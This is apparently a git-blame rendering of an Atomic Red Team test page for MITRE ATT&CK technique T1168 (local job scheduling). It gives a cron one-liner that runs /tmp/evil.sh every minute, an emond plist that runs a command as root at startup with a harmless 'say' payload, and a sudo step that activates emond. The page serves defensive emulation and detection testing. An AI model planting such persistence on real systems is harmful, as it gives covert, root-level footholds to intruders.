2018-02-13 14:36:59 +11:00
|
|
|
# Local Job Scheduling
|
2017-10-11 10:35:17 -07:00
|
|
|
|
|
|
|
|
MITRE ATT&CK Technique: [T1168](https://attack.mitre.org/wiki/Technique/T1168)
|
|
|
|
|
|
2018-02-13 14:36:59 +11:00
|
|
|
### Cron Job
|
2017-10-11 10:35:17 -07:00
|
|
|
|
|
|
|
|
echo "* * * * * /tmp/evil.sh" > /tmp/persistevil && crontab /tmp/persistevil
|
2018-02-13 14:36:59 +11:00
|
|
|
|
|
|
|
|
### Emond
|
|
|
|
|
|
2018-02-13 14:39:08 +11:00
|
|
|
Place this file in /etc/emond.d/rules/atomicredteam.plist
|
2018-02-13 14:36:59 +11:00
|
|
|
|
|
|
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
|
|
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
|
|
|
|
<plist version="1.0">
|
|
|
|
|
<array>
|
|
|
|
|
<dict>
|
|
|
|
|
<key>name</key>
|
|
|
|
|
<string>atomicredteam</string>
|
|
|
|
|
<key>enabled</key>
|
|
|
|
|
<true/>
|
|
|
|
|
<key>eventTypes</key>
|
|
|
|
|
<array>
|
|
|
|
|
<string>startup</string>
|
|
|
|
|
</array>
|
|
|
|
|
<key>actions</key>
|
|
|
|
|
<array>
|
|
|
|
|
<dict>
|
|
|
|
|
<key>command</key>
|
|
|
|
|
<string>/usr/bin/say</string>
|
|
|
|
|
<key>user</key>
|
|
|
|
|
<string>root</string>
|
|
|
|
|
<key>arguments</key>
|
|
|
|
|
<array>
|
|
|
|
|
<string>-v Tessa</string>
|
|
|
|
|
<string>I am a persistent startup item.</string>
|
|
|
|
|
</array>
|
|
|
|
|
<key>type</key>
|
|
|
|
|
<string>RunCommand</string>
|
|
|
|
|
</dict>
|
|
|
|
|
</array>
|
|
|
|
|
</dict>
|
|
|
|
|
</array>
|
|
|
|
|
</plist>
|
|
|
|
|
|
2018-02-13 14:39:08 +11:00
|
|
|
Place an empty file in /private/var/db/emondClients/
|
2018-02-13 14:36:59 +11:00
|
|
|
|
|
|
|
|
sudo touch /private/var/db/emondClients/randomflag
|
|
|
|
|
|